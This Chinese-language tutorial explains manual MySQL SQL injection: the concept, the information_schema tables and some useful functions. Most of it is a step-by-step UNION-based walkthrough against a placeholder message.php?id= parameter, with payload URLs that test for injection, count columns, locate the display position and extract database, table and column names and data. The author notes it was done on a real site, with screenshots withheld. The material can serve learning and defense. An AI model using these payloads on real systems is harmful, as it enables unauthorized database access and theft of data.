MySQL手工注入
写在开头:
工具不是万能,有思路才是王道。
SQL注入介绍:
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
以上是百度百科对于SQL注入漏洞的官方解释,详情请移步百度百科。
一般情况下,开发人员可以使用动态SQL语句创建通用、灵活的应用。动态SQL语句是在执行过程中构造的,它根据不同的条件产生不同的SQL语句。当开发人员在运行过程中需要根据不同的查询标准决定提取什么字段(如select语句),或者根据不同的条件选择不同的查询表时,动态地构造SQL语句会非常有用。
当然,SQL注入按照不同的分类考科一分为很多种,如报错注入、盲注、union注入等。
SQL注入的原理:
SQL注入漏洞的产生需要满足以下两个条件:
参数由用户可控:前端传给后端的参数内容是由用户可以控制的。 参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。
MySQL注入相关的知识点:
在MySQL 5.0版本之后,MySQL默认在数据库中存放了一个“information_schema”的数据库,在该库中,需要记住的三个表名分别是schemata、tables和columns。
schemata表中存储的是该用户创建的所有数据库的库名,需要记住该表中记录数据库库名的字段名为schema_name。
tables表中存储的是该用户创建的所有数据库的库名和表名,需要记住该表中记录数据库库名和表名的字段名分别为table_schema和table_name。
columns表中存储的是该用户创建的所有数据库的库名、表名和字段名,需要记住该表中记录数据库库名、表名和字段名的字段名分别为table_schema、table_name和column_name。
MySQL查询函数:
database() 数据库名 version() 数据库版本 user() 数据库用户 @@version_compile_os 操作系统
MySQL手工注入举例:
以http://www.xxxxxx.com/message.php?id=1站点为例,以下为手工注入过程:
(1)首先判断是否存在注入点(and 1 = 1和and 1 = 2)
and 1 = 1,页面无错误,继续测试and 1 = 2。
页面异常,说明存在注入点。
(2)判断列数(order by)
输入order by 10显示正常
order by 11报错,说明列数为10
(3)判断显示位 (union select)
http://www.xxxxxxx.com/message.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10
根据回显确定显示位为5。
后续内容牵扯到数据泄露,不再截图,仅写出SQL语句作为学习。
(4)显示数据库名
http://www.xxxxxxx.com/message.php?id=-1 union select 1,2,3,4,database(),6,7,8,9,10
(5)查询表名
http://www.xxxxxxx.com/message.php?id=-1 union select 1,2,3,4,table_name,6,7,8,9,10 from information_schema.tables where table_schema = 'XXXX'
(XXXX即为第四步获取到的数据库名)
(6)查询列名
http://www.xxxxxxx.com/message.php?id=-1 union select 1,2,3,4,column_name,6,7,8,9,10 from information_schema.columns where table_name = 'XXXX'
(XXXX即为第五步获取到的关键表名)
(7)获取指定表名列名数据
http://www.xxxxxxx.com/message.php?id=-1 union select 1,2,3,4,XXXX,6,7,8,9,10 from ****
(XXXX为具体的列名,****为表名)